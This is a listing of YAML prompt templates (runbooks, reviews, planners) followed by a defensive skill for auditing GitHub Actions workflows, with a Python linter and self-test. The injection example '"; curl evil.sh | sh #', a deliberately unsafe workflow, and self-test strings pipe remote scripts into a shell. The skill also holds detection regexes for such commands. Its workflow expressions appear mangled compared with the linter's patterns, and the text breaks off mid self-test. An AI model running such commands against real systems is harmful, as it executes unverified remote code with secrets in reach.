Describe a service, its architecture, SLO, common incidents, dashboards, deploy process, and escalation contacts, and get an on-call runbook scaffold as YAML: severity levels, detection signals with threshold ideas, a 15-minute triage flow, mitigation playbooks per incident, a rollback and feature flag kill switch procedure, status page and channel templates, an escalation path, and a post-incident checklist.
role: > You are a senior site reliability engineer who has written and maintained on-call runbooks for web services, APIs, data pipelines, and background workers. You write runbooks for a tired engineer paged at 3 a.m.: short, ordered steps, exact places to look, safe mitigations first, and clear rules for when to escalate. You never invent dashboard names, commands, or contacts that the user did not give you; you leave clearly marked placeholders instead. task: > Build an on-call runbook scaffold for the service described below: severity levels, detection signals and alerts, a triage flow, mitigation playbooks for each common incident, a rollback procedure, communication templates, an escalation path, and a post-incident checklist, ready to be pasted into the team's docs and filled in. inputs: service_name: "checkout-api" what_it_does: "handles cart checkout and payment authorization for the web shop and mobile app" architecture: "stateless Node.js service on Kubernetes, 6 pods, PostgreSQL primary with one replica, Redis cache, calls an external payment provider" traffic_and_slo: "about 40 requests per second at peak, 99.9 percent availability and p95 latency under 400 ms" common_incidents: "payment provider timeouts, database connection pool exhaustion, bad deploys, Redis eviction storms, certificate expiry" dashboards_and_tools: "Grafana dashboard 'Checkout Overview', Loki logs, PagerDuty, Argo CD for deploys, status page on Statuspage" deploy_and_rollback: "Argo CD sync from main, roughly 10 deploys a week, feature flags in LaunchDarkly" escalation_contacts: "primary on-call (payments team), secondary on-call, payments team lead, database on-call from platform team, payment provider support line" comms_channels: "#inc-checkout Slack channel, customer support lead, public status page" business_hours_and_timezone: "Europe/Berlin, 24x7 on-call, weekly rotation" known_gaps: "no alert on certificate expiry yet, replica lag is not graphed" instructions: - State assumptions where inputs are missing instead of asking questions. - Define 4 severity levels (SEV1 to SEV4) with customer impact, examples for this service, response time, who is paged, and whether the status page is updated. - For detection, list each alert or signal with a metric or log query placeholder, a threshold idea tied to the SLO, the likely causes, and the first dashboard panel to open. - Write a generic triage flow of at most 10 ordered steps for the first 15 minutes, starting with acknowledging the page and confirming impact. - Write one mitigation playbook per common incident with symptoms, quick checks, safe mitigations ordered from least to most risky, when to escalate, and how to confirm recovery. - Write a rollback procedure for a bad deploy, including how to find the last good version, how to roll back, how to disable a feature flag, and what to verify after. - Provide short communication templates for the incident channel kickoff, a 30-minute update, the status page (investigating, identified, monitoring, resolved), and a note to customer support. - Give an escalation path with conditions and time limits, using the roles I gave. - Add a post-incident checklist (timeline, impact numbers, follow-up tickets, alert tuning, runbook updates) and a blameless review agenda. - Turn known gaps into follow-up tasks with an owner role. - Use <PLACEHOLDER> markers for every link, query, command, or name that the team must fill in; never make them up. output_format: YAML only, no prose outside the YAML, using exactly this structure output_schema: assumptions: [string] service: name: string purpose: string dependencies: [string] slo: string owners: string severity_levels: - level: SEV1 | SEV2 | SEV3 | SEV4 customer_impact: string examples: [string] response_time: string page: [string] status_page_update: boolean detection_signals: - name: string signal: string query_placeholder: string threshold_idea: string likely_causes: [string] first_panel_to_open: string triage_steps: - step: number action: string look_at: string decision: string playbooks: - incident: string symptoms: [string] quick_checks: [string] mitigations: - order: number action: string risk: low | medium | high command_placeholder: string escalate_when: string confirm_recovery: [string] rollback: find_last_good_version: [string] steps: [string] feature_flag_kill_switch: [string] verify_after: [string] comms_templates: incident_channel_kickoff: string update_every_30_min: string status_page: investigating: string identified: string monitoring: string resolved: string customer_support_note: string escalation_path: - role: string when: string after_minutes: number how_to_reach: string post_incident_checklist: [string] blameless_review_agenda: [string] follow_up_tasks: - task: string owner_role: string priority: high | medium | low
Describe your role, goals, accomplishments, metrics, collaboration notes, and feedback, and get structured YAML with impact stories, goals status, skills plans, keep/start/stop themes, manager-facing narratives, stretch asks, evidence gaps, and next actions for your performance review.
1role: >2 You are a career coach who has helped hundreds of individual contributors3 and team leads write honest, evidence-based performance self-reviews. You4 turn messy notes into clear impact stories with metrics, collaboration5 proof, and growth plans. You never invent numbers, awards, or outcomes the6 user did not give you; you mark gaps and suggest how to gather evidence.78task: >9 Build a structured performance self-review pack as YAML from the inputs10 below: role summary, impact stories with evidence, skills growth, goals...+86 more lines
Describe your target language goals, partner level, time box, and topics to avoid, and get a YAML session plan with warm-ups, timed conversation blocks, correction style, vocabulary harvest, homework micro-tasks, and a gentle feedback script, all conducted in English planning notes for practice that happens in the target language.
1role: >2 You are a language-exchange session coach. You help two people who are not professional teachers run a fair, useful conversation practice session.3 You plan in clear English so both partners know the structure, while the spoken practice happens in the target language(s).4 You keep sessions kind, timeboxed, and balanced so neither person monopolizes the hour.5task: >6 Build a complete language-exchange session plan as YAML for the inputs below: warm-ups, timed conversation blocks, correction agreements,7 vocabulary harvest, micro-homework, and a short feedback script.8inputs:9 my_native_language: "${native:English}"10 target_language: "${target:Spanish}"...+42 more lines
Plan one home DIY project as a realistic weekend: a single shopping list with specs and costs, tools to buy, borrow, or rent, safety gear and checks, Friday prep plus Saturday and Sunday time boxes that include drying time, stop-and-check points, common mistakes, and a fallback if you run late, all in YAML.
1role: Weekend DIY Project Planner2goal: >3 Turn one home DIY project into a realistic two-day plan with a complete4 materials and tools list, ordered steps, time boxes, and safety checks,5 so I finish by Sunday evening without a half-done mess.67ask_first:8 - project: "What are you building, fixing, or improving? (e.g. floating shelves, re-grouting a shower, painting a door)"9 - space: "Room, dimensions, wall or floor type, and any photos or measurements you have"10 - skill_level: "beginner | some experience | confident"...+51 more lines
Build a YAML release checklist for an open-source project: SemVer bump, Keep-a-Changelog draft, quality gates, publishable artifacts, annotated tags and GitHub Release steps, announce blurbs per channel, post-release tasks, and a rollback plan, with ship_ready blocked when CI is red.
1role: Open Source Release Checklist Builder2goal: >3 Turn an upcoming open-source release into a concrete YAML checklist covering4 version bump, changelog, artifacts, tests, security notes, and announce5 channels, so maintainers ship without forgetting a step.67ask_first:8 - project: "Repo name, primary language, and package registry (npm, PyPI, crates.io, Maven, Go module, or none)"9 - current_version: "SemVer currently on main/default branch"10 - target_version: "Proposed SemVer and bump type (patch | minor | major | pre-release)"...+55 more lines
Design a safe, repeatable load test as YAML: scope and mocked dependencies, environment parity gaps, weighted user journeys with think time, smoke-to-soak scenarios with ramps, numeric p95/p99 and error-rate gates, dashboards, abort conditions with a stop owner, schedule, and reporting.
1role: Performance engineer who designs safe, realistic load tests2task: >3 Turn a short description of a web service, API, or background worker into a complete4 load test plan in YAML that a team can review, run, and repeat. The plan must protect5 production, model real traffic, and define clear pass/fail criteria before any test runs.67ask_first:8 - What is being tested (service name, endpoints or jobs, dependencies such as databases, caches, queues, third-party APIs)9 - Current traffic shape (average and peak requests per second, daily pattern, read/write mix, payload sizes)10 - Business goal for the test (launch readiness, capacity for an event, regression check, cost tuning)...+78 more lines
Build a personalized household emergency plan as YAML: local hazards with first actions, out-of-area contact and check-in rules, meeting points, evacuation grab list and pet plan, go bag and home kits, utility shut-offs, free-first budget, practice drills, and a fridge summary.
1role: Calm, practical household emergency preparedness planner2task: >3 Turn a short description of a household into a personalized emergency preparedness4 plan in YAML: likely local hazards, a communication plan, meeting points, supply kits,5 home safety checks, and a simple practice schedule. The plan must be realistic for the6 household's budget, space, and abilities, and easy to print and stick on the fridge.78ask_first:9 - Location type and climate (city apartment, suburban house, rural home; coastal, river valley, mountains, hot or cold region)10 - Hazards the household worries about or that local authorities warn about (storms, floods, wildfires, earthquakes, heat waves, winter storms, power outages)...+76 more lines
Build a positive-reinforcement eight-week puppy plan as YAML: daily schedule, house training, crate and night comfort, weekly cues, handling and safe socialization exposures, nipping help, stress signals, reward plan, household rules, progress tracker, and when to get a pro.
1role: Friendly, evidence-based puppy training and socialization planner2task: >3 Build a practical eight-week training and socialization plan for a new puppy as YAML.4 The plan uses positive reinforcement only, fits the household's daily schedule, and5 covers house training, crate or rest-area comfort, handling, basic cues, bite inhibition,6 alone time, and calm, gradual exposure to everyday sights, sounds, people, and places.78inputs:9 puppy_name: ${puppy_name:Biscuit}10 breed_or_mix: ${breed:Labrador mix}...+70 more lines
Reviews GitHub Actions workflow YAML for supply-chain and injection risks: pull_request_target with PR checkout, untrusted github.event text in run steps, actions pinned to tags or branches instead of commit SHAs, missing or write-all permissions, secrets in shell commands, curl | bash, self-hosted runners on PRs, and missing timeouts. Use before merging CI changes or auditing a repo. Includes a stdlib Python linter with --self-test.
--- name: github-actions-workflow-security-reviewer description: Reviews GitHub Actions workflow YAML for supply-chain and injection risks: pull_request_target with PR checkout, untrusted github.event text in run steps, actions pinned to tags or branches instead of commit SHAs, missing or write-all permissions, secrets in shell commands, curl | bash, self-hosted runners on PRs, and missing timeouts. Use before merging CI changes or auditing a repo. Includes a stdlib Python linter with --self-test. --- # GitHub Actions Workflow Security Reviewer You help maintainers find and fix security problems in `.github/workflows/*.yml` before an attacker does. You read each workflow the way a malicious fork, issue author, or compromised third-party action would, point to the exact line that is risky, explain how it could be abused in one or two sentences, and give a minimal patch that keeps the workflow working. ## Files in this skill - `scripts/gha_audit.py` - line-based linter for workflow files: triggers, permissions, `uses:` pinning, script injection in `run:` and `github-script`, secrets in commands, remote scripts piped to a shell, self-hosted runners, timeouts (Python 3 standard library only, no YAML library needed) - `references/risk-catalog.md` - every rule ID with severity, why it matters, and the fix - `references/hardening-guide.md` - safe patterns: env indirection, least-privilege permissions, SHA pinning with Dependabot, splitting privileged and unprivileged workflows - `templates/workflow-security-review.md` - a review comment or audit report - `examples/pr-labeler.yml` - a deliberately unsafe workflow and its expected findings ## Workflow ### 1. Collect the workflows Ask for the workflow files (or the repository path) and the context: public or private repo, whether forks can open pull requests, which secrets and environments exist, and whether self-hosted runners are used. Workflows triggered by `pull_request_target`, `issue_comment`, `issues`, `workflow_run`, or `discussion` deserve the closest look because they run with repository secrets on events outsiders can create. ### 2. Run the linter ``` python3 scripts/gha_audit.py .github/workflows/*.yml python3 scripts/gha_audit.py examples/pr-labeler.yml --json python3 scripts/gha_audit.py ci.yml --strict python3 scripts/gha_audit.py --self-test ``` Exit code 1 means at least one high finding (`--strict`: any finding); 2 means a file could not be read. The linter does not need PyYAML; it understands common workflow layouts but can miss unusual YAML (anchors, flow mappings). Read the file yourself as well. ### 3. Confirm each finding For every finding, check the context the script cannot see: is the expression really attacker-controlled, does the job have secrets or a write token, is the action from a trusted publisher? Downgrade or dismiss with a stated reason; never silently drop a high finding. ### 4. Propose fixes Use `references/risk-catalog.md` for each rule ID and `references/hardening-guide.md` for patterns. Prefer small, reviewable diffs: move `{}` into `env:` and quote the shell variable, add a top-level `permissions: contents: read`, pin `uses:` to a full commit SHA with the tag in a comment, and add `persist-credentials: false` and `timeout-minutes`. ### 5. Report Fill `templates/workflow-security-review.md`: files reviewed, findings by severity with line numbers, the attack scenario for each high finding, the patch, and follow-ups (Dependabot for actions, branch protection, environment reviewers). ## Rules - Treat titles, bodies, branch names, commit messages, and comments from PRs and issues as attacker input. - Never ask for or print secret values; refer to secrets by name only. - Do not write proof-of-concept exploits against repositories the user does not own; describe the risk instead. - A clean linter run is not a guarantee. Say what was not checked (reusable workflows, composite actions, repository settings). FILE:references/risk-catalog.md # Risk Catalog (rule IDs used by gha_audit.py) | ID | Severity | What it detects | Why it matters | Fix | |---|---|---|---|---| | GHA001 | high | `pull_request_target` (or `workflow_run`) workflow that checks out the PR head (`ref: { github.event.pull_request.head.sha}`, `head.ref`, `github.head_ref`) | Code from a fork runs with repository secrets and a write token ("pwn request") | Use `pull_request` for building untrusted code; keep `pull_request_target` for labeling/commenting only, without checkout of PR code | | GHA002 | high | Untrusted `{}` expression inside `run:` or `github-script` `script:` (issue/PR title or body, comment body, head ref, commit message, author name/email, page name) | The text is pasted into the script before it runs, so a title like `"; curl evil.sh | sh #` executes | Pass it through `env:` and use `"$TITLE"` in the shell | | GHA003 | medium (low for `actions/*`, `github/*`) | `uses: owner/repo@v4` pinned to a tag | Tags can be moved; a compromised action ships code into your build | Pin to the full 40-character commit SHA, keep the tag in a comment, let Dependabot update it | | GHA004 | high | `uses:` with a branch (`@main`, `@master`) or no ref | Every run pulls whatever is on that branch today | Pin to a commit SHA | | GHA005 | medium | No `permissions:` at workflow level and not on every job | The `GITHUB_TOKEN` gets the repository default, often read/write on everything | Add `permissions: contents: read` at the top and grant more per job | | GHA006 | high | `permissions: write-all` | Every scope can be written by any step | List only the scopes needed | | GHA007 | high / medium | `{ secrets.X}` inside a `run:` command (high when echoed or printed) | Secrets end up in shell history, process lists, logs, or injected text | Map the secret to `env:` and read `$X`; never echo it | | GHA008 | medium | `curl ... \| bash` or `wget ... \| sh` | Runs unverified remote code with the job's token and secrets | Download, verify a checksum or signature, then run; or use a pinned action | | GHA009 | medium | `self-hosted` runner in a workflow triggered by `pull_request` or `pull_request_target` | Fork code can persist on the machine and attack later jobs | Use GitHub-hosted or ephemeral runners for PRs; require approval for outside contributors | | GHA010 | high | `ACTIONS_ALLOW_UNSECURE_COMMANDS: true` | Re-enables deprecated `set-env`/`add-path`, which log output can trigger | Remove it; write to `$GITHUB_ENV` and `$GITHUB_PATH` | | GHA011 | low | `actions/checkout` without `persist-credentials: false` | The token stays in `.git/config` for every later step and any uploaded artifact | Add `persist-credentials: false` unless a later step pushes | | GHA012 | low | Job without `timeout-minutes` | A hung or abused job can run for 6 hours on your minutes | Add a realistic timeout (e.g. 15-30) | | GHA013 | low | `docker://image:tag` without `@sha256:` digest | Image tags are mutable | Pin `docker://image@sha256:<digest>` | | GHA014 | medium | `workflow_run` workflow using `actions/download-artifact` | Artifacts from a fork-triggered run are attacker-controlled | Treat artifact contents as data: validate, never execute; avoid extracting into the workspace | ## Severity guide - **high**: an outsider can likely run code with secrets or a write token, or a mutable reference controls the build. - **medium**: hardening gap that makes a compromise easier or bigger. - **low**: good practice; fix when touching the file. FILE:references/hardening-guide.md # Hardening Guide ## 1. Pass untrusted text through env, not expressions ```yaml # unsafe - run: echo "Title: { github.event.pull_request.title}" # safe - env: PR_TITLE: { github.event.pull_request.title} run: echo "Title: $PR_TITLE" ``` Always double-quote the variable. In `actions/github-script`, read `context.payload.pull_request.title` in JavaScript instead of interpolating `{}` into the script. ## 2. Least-privilege token ```yaml permissions: contents: read # workflow default jobs: label: permissions: pull-requests: write # only this job can label ``` Also set the repository default to read-only (Settings > Actions > General > Workflow permissions). ## 3. Pin actions to commit SHAs ```yaml - uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0 ``` Enable Dependabot for the `github-actions` ecosystem so pins get update PRs with changelogs. Prefer actions from verified publishers and read the source of small third-party actions before adopting them. ## 4. Split privileged and unprivileged work - `pull_request` workflow: builds and tests fork code with no secrets and a read-only token; uploads results as an artifact. - `workflow_run` workflow: runs after it with secrets, downloads the artifact, treats it as untrusted data (parse JSON, never execute), and posts the comment or label. ## 5. Checkout and credentials - `persist-credentials: false` on `actions/checkout` unless the job pushes. - Never check out PR code in `pull_request_target`; if you must (e.g. a labeler reading config), check out the base branch only. ## 6. Runners and limits - Self-hosted runners: private repositories only, or ephemeral (one job per VM) with no network access to internal systems. - `timeout-minutes` on every job; `concurrency` groups for deploys. ## 7. Secrets and environments - Put deploy credentials in an environment with required reviewers and branch rules. - Prefer OIDC (`id-token: write`) to long-lived cloud keys. - Mask derived values with `::add-mask::` before printing anything secret-like. ## Review checklist 1. Which triggers can outsiders fire? 2. What can the token write, and which secrets are reachable from those triggers? 3. Is any attacker-controlled text interpolated into a script? 4. Is every `uses:` pinned to a SHA? 5. Is any remote code executed without verification? FILE:templates/workflow-security-review.md # GitHub Actions Security Review - <repository> **Date:** <YYYY-MM-DD> **Reviewer:** <name> **Files:** <.github/workflows/...> **Repo visibility:** <public/private> **Fork PRs allowed:** <yes/no> **Self-hosted runners:** <yes/no> **Linter:** `gha_audit.py` -> <n> high, <n> medium, <n> low ## High findings | Rule | File:line | Problem | Attack scenario | Fix | |---|---|---|---|---| | | | | | | ## Medium and low findings | Rule | File:line | Problem | Fix | |---|---|---|---| | | | | | ## Dismissed findings - <rule, file:line> - <reason it is not exploitable here> ## Proposed patch ```diff <minimal diff> ``` ## Not covered by this review - Reusable workflows and composite actions called from these files - Repository and organization settings (default token permissions, fork PR approval, environments) ## Follow-ups - [ ] Enable Dependabot for github-actions - [ ] Set default workflow permissions to read-only - [ ] Require reviewers on the production environment FILE:examples/pr-labeler.yml # Deliberately unsafe example for gha_audit.py. Expected findings (line numbers in this file): # GHA001 high line 21 - pull_request_target checks out the PR head # GHA002 high line 24 - PR title pasted into run (script injection) # GHA007 high line 25 - secret echoed in run # GHA004 high line 27 - third-party action on @main # GHA005 medium line 1 - no permissions block at workflow or job level # GHA008 medium line 26 - curl piped to bash # GHA012 low line 16 - job without timeout-minutes # GHA003 low line 19 - actions/checkout@v4 pinned to a tag # GHA011 low line 19 - checkout without persist-credentials: false name: PR labeler on: pull_request_target: types: [opened, synchronize] jobs: label: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: ref: { github.event.pull_request.head.sha} - name: Greet run: | echo "Thanks for: { github.event.pull_request.title}" echo "token={ secrets.LABEL_TOKEN}" curl -sSL https://example.com/install.sh | bash - uses: someorg/auto-labeler@main FILE:scripts/gha_audit.py #!/usr/bin/env python3 """GitHub Actions workflow security linter (Python 3 standard library only, no YAML library). Reads workflow files line by line, tracking indentation, and reports risky patterns with rule IDs (see references/risk-catalog.md): GHA001 pull_request_target/workflow_run + checkout of PR head high GHA002 untrusted { github.event.*} text inside run:/script: high GHA003 uses: pinned to a tag instead of a commit SHA medium (low for actions/*, github/*) GHA004 uses: on a branch (@main/@master) or without a ref high GHA005 no permissions at workflow level or on every job medium GHA006 permissions: write-all high GHA007 { secrets.*} inside run: (high when echoed/printed) high/medium GHA008 curl/wget piped to a shell medium GHA009 self-hosted runner on pull_request(_target) medium GHA010 ACTIONS_ALLOW_UNSECURE_COMMANDS enabled high GHA011 actions/checkout without persist-credentials: false low GHA012 job without timeout-minutes low GHA013 docker:// image without @sha256 digest low GHA014 workflow_run + actions/download-artifact medium Usage: python3 gha_audit.py .github/workflows/*.yml python3 gha_audit.py ci.yml --json python3 gha_audit.py ci.yml --strict # exit 1 on any finding python3 gha_audit.py --self-test Exit code: 0 no high findings, 1 high findings (or any with --strict), 2 unreadable file. """ import argparse import json import re import sys SEV_ORDER = {"high": 0, "medium": 1, "low": 2} TRUSTED_OWNERS = {"actions", "github"} BRANCH_REFS = {"main", "master", "dev", "develop", "trunk", "head", "latest"} UNTRUSTED_EXPR = re.compile( r"github\.head_ref" r"|github\.event\.[\w.*\[\]'\"-]*?\b(title|body|message|page_name|email|head_branch|default_branch|label)\b" r"|github\.event\.[\w.*\[\]'\"-]*?head\.ref\b" r"|github\.event\.[\w.*\[\]'\"-]*?author\.name\b" ) EXPR = re.compile(r"\$\{\{(.*?)\}\}") SECRET_EXPR = re.compile(r"\$\{\{\s*secrets\.([A-Za-z0-9_]+)\s*\}\}") PR_HEAD_REF = re.compile(r"ref:\s*['\"]?\$\{\{\s*(github\.event\.pull_request\.head\.(sha|ref)|github\.head_ref|github\.event\.workflow_run\.head_(sha|branch))\s*\}\}") PIPE_SHELL = re.compile(r"\b(curl|wget)\b[^|\n]*\|\s*(sudo\s+)?(-E\s+)?(ba|z|da)?sh\b") PRINT_CMD = re.compile(r"\b(echo|printf|cat|tee|print)\b") SHA40 = re.compile(r"^[0-9a-f]{40}$") def strip_comment(line): """Remove a trailing YAML comment (a # preceded by whitespace, outside quotes).""" out, q = [], None for i, ch in enumerate(line): if q: if ch == q: q = None elif ch in "'\"": q = ch elif ch == "#" and (i == 0 or line[i - 1] in " \t"): break out.append(ch) return "".join(out).rstrip() def indent_of(s): return len(s) - len(s.lstrip(" ")) def parse_lines(text): """Return a list of (lineno, indent, content) for non-empty, non-comment lines.""" rows = [] for n, raw in enumerate(text.splitlines(), 1): s = strip_comment(raw.replace("\t", " ")) if s.strip(): rows.append((n, indent_of(s), s.strip())) return rows def block_end(rows, i): """Index after the block owned by rows[i] (all following rows indented deeper).""" ind = rows[i][1] j = i + 1 while j < len(rows) and rows[j][1] > ind: j += 1 return j def key_of(content): c = content[2:].lstrip() if content.startswith("- ") else content m = re.match(r"^['\"]?([A-Za-z0-9_\-]+)['\"]?\s*:(\s|$)", c) return (m.group(1), c[m.end():].strip()) if m else (None, None) def triggers(rows): trig = set() for i, (n, ind, c) in enumerate(rows): k, v = key_of(c) if ind == 0 and k in ("on", "true"): if v: trig.update(re.findall(r"[a-z_]+", v)) else: end = block_end(rows, i) child = min((rows[j][1] for j in range(i + 1, end)), default=None) for j in range(i + 1, end): if rows[j][1] == child: ck, _ = key_of(rows[j][2]) if ck: trig.add(ck) elif rows[j][2].startswith("- "): trig.add(rows[j][2][2:].strip()) return trig def audit_text(text, path="workflow.yml"): rows = parse_lines(text) findings = [] def add(rule, sev, line, msg): findings.append({"file": path, "line": line, "rule": rule, "severity": sev, "message": msg}) trig = triggers(rows) privileged = trig & {"pull_request_target", "workflow_run"} pr_triggers = trig & {"pull_request", "pull_request_target"} top_perm = None jobs_idx = None for i, (n, ind, c) in enumerate(rows): k, v = key_of(c) if ind == 0 and k == "permissions": top_perm = (n, v) if ind == 0 and k == "jobs": jobs_idx = i if top_perm and top_perm[1].strip("'\"") == "write-all": add("GHA006", "high", top_perm[0], "permissions: write-all gives every step write access to all scopes") # jobs jobs = [] if jobs_idx is not None: end = block_end(rows, jobs_idx) child = min((rows[j][1] for j in range(jobs_idx + 1, end)), default=None) for j in range(jobs_idx + 1, end): if rows[j][1] == child and key_of(rows[j][2])[0]: jobs.append((j, block_end(rows, j))) jobs_with_perm = 0 for (js, je) in jobs: jname = key_of(rows[js][2])[0] jind = rows[js][1] direct = [r for r in rows[js + 1:je] if r[1] == min(x[1] for x in rows[js + 1:je])] if je > js + 1 else [] dkeys = {key_of(r[2])[0]: r for r in direct} if "permissions" in dkeys: jobs_with_perm += 1 if dkeys["permissions"][2].split(":", 1)[1].strip().strip("'\"") == "write-all": add("GHA006", "high", dkeys["permissions"][0], f"job '{jname}' uses permissions: write-all") if "timeout-minutes" not in dkeys and "uses" not in dkeys: add("GHA012", "low", rows[js][0], f"job '{jname}' has no timeout-minutes (default is 360)") if "runs-on" in dkeys: ro_i = rows.index(dkeys["runs-on"]) ro_text = " ".join(r[2] for r in rows[ro_i:block_end(rows, ro_i)]) if "self-hosted" in ro_text and pr_triggers: add("GHA009", "medium", dkeys["runs-on"][0], f"job '{jname}' runs pull request code on a self-hosted runner") if top_perm is None and (not jobs or jobs_with_perm < len(jobs)): add("GHA005", "medium", 1, "no permissions block at workflow level (and not on every job); GITHUB_TOKEN gets the repo default") # line-level checks i = 0 while i < len(rows): n, ind, c = rows[i] k, v = key_of(c) if k in ("run", "script"): end = block_end(rows, i) body = [(n, v)] if v and v not in ("|", ">", "|-", ">-", "|+", ">+") else [] body += [(r[0], r[2]) for r in rows[i + 1:end]] for bn, bt in body: for m in EXPR.finditer(bt): expr = m.group(1).strip() if UNTRUSTED_EXPR.search(expr): add("GHA002", "high", bn, f"untrusted expression {{{ {expr }}}} is pasted into {k}: (script injection); pass it via env") for m in SECRET_EXPR.finditer(bt): if PRINT_CMD.search(bt): add("GHA007", "high", bn, f"secret {m.group(1)} is printed in {k}:") else: add("GHA007", "medium", bn, f"secret {m.group(1)} is interpolated into {k}:; map it to env instead") if k == "run" and PIPE_SHELL.search(bt): add("GHA008", "medium", bn, "remote script piped straight into a shell") i = end continue if k == "uses": ref = v.strip("'\"") if ref.startswith("./"): pass elif ref.startswith("docker://"): if "@sha256:" not in ref: add("GHA013", "low", n, f"{ref} is not pinned to an image digest") else: name, _, at = ref.partition("@") owner = name.split("/")[0].lower() if not at or at.lower() in BRANCH_REFS: add("GHA004", "high", n, f"{ref or name} follows a branch or has no ref; pin to a commit SHA") elif not SHA40.match(at): sev = "low" if owner in TRUSTED_OWNERS else "medium" add("GHA003", sev, n, f"{ref} is pinned to a tag, not a full commit SHA") if name.lower().startswith("actions/checkout"): # the step block: siblings at this indent (after '- ') and deeper step_ind = ind + 2 if c.startswith("- ") else ind j = i + 1 j0 = i while j0 > 0 and not rows[j0][2].startswith("- ") and rows[j0][1] >= step_ind: j0 -= 1 while j < len(rows) and rows[j][1] >= step_ind and not (rows[j][1] == step_ind - 2 and rows[j][2].startswith("- ")): j += 1 step = " ".join(r[2] for r in rows[j0:j]) if not re.search(r"persist-credentials:\s*['\"]?false", step): add("GHA011", "low", n, "actions/checkout keeps the token in .git/config; add persist-credentials: false") if name.lower().startswith("actions/download-artifact") and "workflow_run" in trig: add("GHA014", "medium", n, "artifact from a workflow_run may be attacker-controlled; treat as data") if privileged and PR_HEAD_REF.search(c): add("GHA001", "high", n, f"{'/'.join(sorted(privileged))} workflow checks out untrusted PR code with secrets available") if re.search(r"ACTIONS_ALLOW_UNSECURE_COMMANDS\s*:\s*['\"]?true", c, re.I): add("GHA010", "high", n, "ACTIONS_ALLOW_UNSECURE_COMMANDS re-enables set-env/add-path") i += 1 findings.sort(key=lambda f: (f["file"], SEV_ORDER[f["severity"]], f["line"], f["rule"])) return {"file": path, "triggers": sorted(trig), "jobs": len(jobs), "findings": findings} def to_markdown(results): out = ["# GitHub Actions security audit", ""] tot = {"high": 0, "medium": 0, "low": 0} for r in results: for f in r["findings"]: tot[f["severity"]] += 1 out.append(f"**Files:** {len(results)} **Findings:** {tot['high']} high, {tot['medium']} medium, {tot['low']} low") for r in results: out += ["", f"## {r['file']}", f"Triggers: {', '.join(r['triggers']) or 'none found'}; jobs: {r['jobs']}", ""] if not r["findings"]: out.append("No findings.") continue out += ["| Severity | Rule | Line | Finding |", "|---|---|---|---|"] for f in r["findings"]: msg = f["message"].replace("|", "\\|") out.append(f"| {f['severity']} | {f['rule']} | {f['line']} | {msg} |") return "\n".join(out) SAFE = """name: CI on: pull_request: permissions: contents: read jobs: test: runs-on: ubuntu-latest timeout-minutes: 15 steps: - uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0 with: persist-credentials: false - name: Test env: PR_TITLE: { github.event.pull_request.title} run: | echo "Testing $PR_TITLE" make test """ def self_test(): cases = [] def ok(name, cond): cases.append((name, bool(cond))) def rules(text): return [(f["rule"], f["severity"]) for f in audit_text(text)["findings"]] ok("safe workflow has no findings", rules(SAFE) == []) ok("triggers parsed from block", audit_text(SAFE)["triggers"] == ["pull_request"]) ok("triggers parsed from list", audit_text("on: [push, pull_request]\njobs: {}\n")["triggers"] == ["pull_request", "push"]) inj = SAFE.replace('echo "Testing $PR_TITLE"', 'echo "{ github.event.pull_request.title}"') ok("title in run is GHA002 high", ("GHA002", "high") in rules(inj)) ok("head_ref in run is GHA002", ("GHA002", "high") in rules(SAFE.replace("make test", "git push origin { github.head_ref}"))) ok("comment body in github-script", ("GHA002", "high") in rules(SAFE.replace("run: |", "script: |") .replace("make test", "core.info('{ github.event.comment.body}')"))) ok("env indirection is not flagged", not any(r == "GHA002" for r, _ in rules(SAFE))) ok("PR number is safe", rules(SAFE.replace("make test", "echo { github.event.pull_request.number}")) == []) ok("tag pin on actions/* is GHA003 low", ("GHA003", "low") in rules(SAFE.replace("@08eba0b27e820071cde6df949e0beb9ba4906955", "@v4"))) ok("tag pin third party is medium", ("GHA003", "medium") in rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955", "acme/checkout@v1"))) ok("branch pin is GHA004 high", ("GHA004", "high") in rules(SAFE.replace("@08eba0b27e820071cde6df949e0beb9ba4906955", "@main"))) ok("local action not flagged", rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955", "./.github/actions/setup")) == []) ok("missing permissions is GHA005", ("GHA005", "medium") in rules(SAFE.replace("permissions:\n contents: read\n", ""))) ok("job-level permissions satisfy GHA005", rules(SAFE.replace("permissions:\n contents: read\n", "").replace(" timeout-minutes: 15\n", " timeout-minutes: 15\n permissions:\n contents: read\n")) == []) ok("write-all is GHA006", ("GHA006", "high") in rules(SAFE.replace("permissions:\n contents: read", "permissions: write-all"))) ok("echoed secret is GHA007 high", ("GHA007", "high") in rules(SAFE.replace("make test", "echo { secrets.NPM_TOKEN}"))) ok("inline secret is GHA007 medium", ("GHA007", "medium") in rules(SAFE.replace("make test", "npm publish --token { secrets.NPM_TOKEN}"))) ok("curl | bash is GHA008", ("GHA008", "medium") in rules(SAFE.replace("make test", "curl -fsSL https://x.sh | sudo bash"))) ok("self-hosted on PR is GHA009", ("GHA009", "medium") in rules(SAFE.replace("ubuntu-latest", "[self-hosted, linux]"))) ok("self-hosted on push is fine", rules(SAFE.replace("pull_request:", "push:").replace("ubuntu-latest", "self-hosted")) == []) ok("unsecure commands is GHA010", ("GHA010", "high") in rules(SAFE.replace("PR_TITLE: { github.event.pull_request.title}", "ACTIONS_ALLOW_UNSECURE_COMMANDS: true"))) ok("checkout without persist-credentials is GHA011", ("GHA011", "low") in rules(SAFE.replace(" with:\n persist-credentials: false\n", ""))) ok("missing timeout is GHA012", ("GHA012", "low") in rules(SAFE.replace(" timeout-minutes: 15\n", ""))) ok("docker tag is GHA013", ("GHA013", "low") in rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0", "docker://alpine:3.20"))) prt = SAFE.replace("pull_request:", "pull_request_target:").replace("persist-credentials: false", "persist-credentials: false\n ref: { github.event.pull_request.head.sha}") ok("pull_request_target + head checkout is GHA001", ("GHA001", "high") in rules(prt)) ok("pull_request + head checkout is not GHA001", not any(r == "GHA001" for r, _ in rules(SAFE.replace("persist-credentials: false", "persist-credentials: false\n ref: { github.event.pull_request.head.sha}")))) wr = SAFE.replace("pull_request:", "workflow_run:\n workflows: [CI]").replace(" - name: Test", " - uses: actions/download-artifact@634f93cb2916e3fdff6788551b99b062d0335ce0 # v5\n - name: Test") ok("workflow_run + download-artifact is 